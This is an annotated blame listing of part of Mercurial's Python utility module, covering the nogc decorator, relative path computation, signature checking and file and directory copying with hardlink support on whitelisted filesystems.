526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1457 nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1458 if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1459 min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1460 if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1461 min = max
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1462 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1463 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1464 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1465 if buf:
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1466 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes Brendan Cully <brendan@kublai.com> parents: 7301 diff changeset	1467
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1468 def always(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1469 return True
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1470
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1471 def never(fn):
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1472 return False
724 1c0c413cccdd Get add and locate to use new repo and dirstate walk code. Bryan O'Sullivan <bos@serpentine.com> parents: 705 diff changeset	1473
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1474 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1475 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1476
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1477 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1478 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1479 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1480 no effect on when GCs are triggered, only on what objects the GC looks
23543 4dd8a6a1240d spelling: fixes from proofreading of spell checker issues Mads Kiilerich <madski@unity3d.com> parents: 23495 diff changeset	1481 into. As a workaround, disable GC while building complex (huge)
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1482 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1483
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1484 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1485 CPython's performance.
23495 b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1486 """
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1487 def wrapper(args, *kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1488 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1489 gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1490 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1491 return func(args, *kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1492 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1493 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1494 gc.enable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1495 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection Pierre-Yves David <pierre-yves.david@fb.com> parents: 23370 diff changeset	1496
33820 05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1497 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1498 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1499 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython Jun Wu <quark@fb.com> parents: 33814 diff changeset	1500
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1501 def pathto(root, n1, n2):
886 509de8ab6f31 Fix walk path handling on Windows Bryan O'Sullivan <bos@serpentine.com> parents: 884 diff changeset	1502 '''return the relative path from one place to another.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1503 root should use os.sep to separate directories
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1504 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1505 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1506 returns an os.sep-separated path.
4229 24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1507
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1508 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1509 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4129 diff changeset	1510 n2 should always be relative to root.
3669 48768b1ab23c fix util.pathto Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 3629 diff changeset	1511 '''
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1512 if not n1:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	1513 return localpath(n2)
4230 c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1514 if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1515 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1516 return os.path.join(root, localpath(n2))
c93562fb12cc Fix handling of paths when run outside the repo. Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4229 diff changeset	1517 n2 = '/'.join((pconvert(root), n2))
5844 07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly. Shun-ichi GOTO <shunichi.goto@gmail.com> parents: 5843 diff changeset	1518 a, b = splitpath(n1), n2.split('/')
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1519 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1520 b.reverse()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1521 while a and b and a[-1] == b[-1]:
1541 bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1522 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX twaldmann@thinkmo.de parents: 1528 diff changeset	1523 b.pop()
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1524 b.reverse()
30618 1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4) Pulkit Goyal <7895pulkit@gmail.com> parents: 30545 diff changeset	1525 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
884 087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types. Bryan O'Sullivan <bos@serpentine.com> parents: 878 diff changeset	1526
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1527 # the location of data files matching the source code
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	1528 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1529 # executable version (py2exe) doesn't support __file__
30672 10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable Pulkit Goyal <7895pulkit@gmail.com> parents: 30647 diff changeset	1530 datapath = os.path.dirname(pycompat.sysexecutable)
22633 92b54547ac5d util: introduce datapath for getting the location of supporting data files Mads Kiilerich <madski@unity3d.com> parents: 22632 diff changeset	1531 else:
31091 2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 31008 diff changeset	1532 datapath = os.path.dirname(pycompat.fsencode(__file__))
30314 8321b083a83d py3: make util.datapath a bytes variable Pulkit Goyal <7895pulkit@gmail.com> parents: 30279 diff changeset	1533
22638 0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1534 i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help Mads Kiilerich <madski@unity3d.com> parents: 22633 diff changeset	1535
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1536 def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1537 '''wrap a function with code to check for calling errors'''
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1538 def check(args, *kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1539 try:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1540 return func(args, *kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1541 except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1542 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646 e62a456b8dc5 error: move SignatureError Matt Mackall <mpm@selenic.com> parents: 7644 diff changeset	1543 raise error.SignatureError
7388 5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1544 raise
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1545
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1546 return check
5751631246de dispatch: generalize signature checking for extension command wrapping Matt Mackall <mpm@selenic.com> parents: 7301 diff changeset	1547
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1548 # a whilelist of known filesystems where hardlink works reliably
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1549 _hardlinkfswhitelist = {
37382 de9f9f888900 util: whitelist apfs for hardlink support Augie Fackler <augie@google.com> parents: 37366 diff changeset	1550 'apfs',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1551 'btrfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1552 'ext2',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1553 'ext3',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1554 'ext4',
31603 32f09ead059b util: enable hardlink for some BSD-family filesystems Jun Wu <quark@fb.com> parents: 31599 diff changeset	1555 'hfs',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1556 'jfs',
35515 d8f408d999f9 util: whitelist NTFS for hardlink creation (issue4580) Matt Harbison <matt_harbison@yahoo.com> parents: 35513 diff changeset	1557 'NTFS',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1558 'reiserfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1559 'tmpfs',
31603 32f09ead059b util: enable hardlink for some BSD-family filesystems Jun Wu <quark@fb.com> parents: 31599 diff changeset	1560 'ufs',
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1561 'xfs',
31603 32f09ead059b util: enable hardlink for some BSD-family filesystems Jun Wu <quark@fb.com> parents: 31599 diff changeset	1562 'zfs',
32331 bd872f64a8ba cleanup: use set literals Martin von Zweigbergk <martinvonz@google.com> parents: 32330 diff changeset	1563 }
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1564
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1565 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1566 '''copy a file, preserving mode and optionally other stat info like
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1567 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1568
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1569 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1570 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1571 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1572
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1573 copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	1574 '''
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1575 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1576 oldstat = None
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1577 if os.path.lexists(dest):
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1578 if checkambig:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1579 oldstat = checkambig and filestat.frompath(dest)
18326 614f769e6aa7 util: copyfile: remove dest before copying Mads Kiilerich <mads@kiilerich.com> parents: 18026 diff changeset	1580 unlink(dest)
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1581 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1582 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1583 # unless we are confident that dest is on a whitelisted filesystem.
31683 1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1584 try:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1585 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1586 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError Yuya Nishihara <yuya@tcha.org> parents: 31667 diff changeset	1587 fstype = None
31581 e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1588 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist Jun Wu <quark@fb.com> parents: 31579 diff changeset	1589 hardlink = False
31583 e7a02e9ad162 util: enable hardlink for copyfile Jun Wu <quark@fb.com> parents: 31581 diff changeset	1590 if hardlink:
23899 4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1591 try:
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1592 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1593 return
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1594 except (IOError, OSError):
4e451d1359de copyfile: allow optional hardlinking Pierre-Yves David <pierre-yves.david@fb.com> parents: 23864 diff changeset	1595 pass # fall back to normal copy
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1596 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1597 os.symlink(os.readlink(src), dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1598 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1599 # for them anyway
4271 1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1600 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1601 try:
1eaa8d90c689 fix util.copyfile to deal with symlinks Eric St-Jean <esj@wwd.ca> parents: 4256 diff changeset	1602 shutil.copyfile(src, dest)
27369 c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1603 if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1604 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1605 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1606 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1607 shutil.copymode(src, dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1608 if oldstat and oldstat.stat:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1609 newstat = filestat.frompath(dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1610 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1611 # stat of copied file is ambiguous to original one
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1612 advanced = (
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1613 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1614 os.utime(dest, (advanced, advanced))
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1615 except shutil.Error as inst:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	1616 raise error.Abort(str(inst))
3629 4cfb72bcb978 util: add copyfile function Matt Mackall <mpm@selenic.com> parents: 3568 diff changeset	1617
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1618 def copyfiles(src, dst, hardlink=None, progress=None):
24439 2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1619 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1620 num = 0
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1621
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1622 def settopic():
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1623 if progress:
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1624 progress.topic = _('linking') if hardlink else _('copying')
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1625
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1626 if os.path.isdir(src):
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1627 if hardlink is None:
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1628 hardlink = (os.stat(src).st_dev ==
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1629 os.stat(os.path.dirname(dst)).st_dev)
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1630 settopic()
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1631 os.mkdir(dst)
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	1632 for name, kind in listdir(src):
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1633 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1634 dstname = os.path.join(dst, name)
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1635 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1636 num += n
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1637 else:
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1638 if hardlink is None:
31725 dea2a17cbfd0 hardlink: check directory's st_dev when copying files Jun Wu <quark@fb.com> parents: 31724 diff changeset	1639 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1640 os.stat(os.path.dirname(dst)).st_dev)
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1641 settopic()
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1642
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1643 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1644 try:
14235 b9e1b041744f rename util.os_link to oslink Adrian Buehlmann <adrian@cadifra.com> parents: 14234 diff changeset	1645 oslink(src, dst)
2050 e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2026 diff changeset	1646 except (IOError, OSError):
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1647 hardlink = False
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1648 shutil.copy(src, dst)
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1649 else:
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1650 shutil.copy(src, dst)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1651 num += 1
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1652 if progress:
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1653 progress.increment()
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1654
